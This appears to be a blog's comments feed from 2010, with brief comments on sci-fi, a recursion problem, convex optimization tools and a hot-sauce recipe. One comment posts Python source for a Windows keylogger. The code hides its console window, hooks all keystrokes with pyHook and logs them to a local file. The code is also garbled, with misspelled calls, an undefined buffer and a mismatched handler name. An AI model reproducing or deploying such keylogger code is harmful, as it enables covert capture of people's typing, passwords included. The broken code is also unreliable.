Comments for ChapterZero

Comment on What makes for good Sci-fi? by Captain Rick

Captain Rick — Tue, 09 Mar 2010 11:23:12 +0000

Cool spaceships!

Comment on Solve this nasty recursion by Alex

Alex — Mon, 08 Mar 2010 03:51:40 +0000

Hmmm. On sober reflection, this problem (and as the math wizard has pointed out, there’s something wrong with the ICs) isn’t likely to give me a usable solution, because the problem I “reduced” it from is a harder relative of the question of how many even partitions of an even integer are there, and that doesn’t seem to have any closed form solutions.

Comment on Solve this nasty recursion by torus

torus — Sat, 06 Mar 2010 15:03:20 +0000

I would try some generating function technique. May be exponential generating function?

Comment on Solve this nasty recursion by Igor Carron

Igor Carron — Fri, 05 Mar 2010 12:47:37 +0000

Have you tried asking the question on math overflow ? (http://mathoverflow.net/)

Igor.
Igor Carron´s last blog ..CS: One of the longest entry

Comment on Solve this nasty recursion by the math wizard

the math wizard — Fri, 05 Mar 2010 05:53:02 +0000

when m = 1, \Omega_{k,1} = sum of terms of \Omega_{?,0} = 0
when m = 2, \Omega_{k,2} = sum of terms of \Omega_{?,1} = 0
by induction \Omega{k,m} = 0 everywhere except k=0
nasty!

Comment on CVXOPT + Pythonika = convex optimization from Mathematica by Alex

Alex — Sun, 28 Feb 2010 09:15:24 +0000

That sounds like a good idea.

Comment on CVXOPT + Pythonika = convex optimization from Mathematica by Stephen

Stephen — Sat, 27 Feb 2010 21:44:33 +0000

Alex, seems like a decent idea. To become more "cvx-like", you could try cvxmod, another product from Stephen Boyd's research group. It's a wrapper to cvxopt, the same way that CVX is a wrapper to SeDuMi and SDPT3.

Comment on My favorite tuna recipe by Hap

Hap — Tue, 23 Feb 2010 19:44:02 +0000

OMG, you too have found the S-Bend! It is the very best hot sauce on Earth and I sure wish I could find a way to buy it without visiting Barbados.

If I had some S-Bend around, I’d try this recipe straight away.

Comment on Python keylogger by rossjones

rossjones — Wed, 17 Feb 2010 01:00:43 +0000

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.getconsolewindow()
win32qui.showWindow(win.0)

def onKeyboardEvent(event):
if event.Ascii==5:
_exit(1)

if event.ascii != 0 or 8:
f=open(‘c:\output.txt’,'r’)
f.close()
f=open(‘c:\output.txt’,'w’)
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs=’/n’
buffer += keylogs
f.write(buffer)
f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Comment on Paper management by Janet B

Janet B — Fri, 15 Jan 2010 17:57:02 +0000

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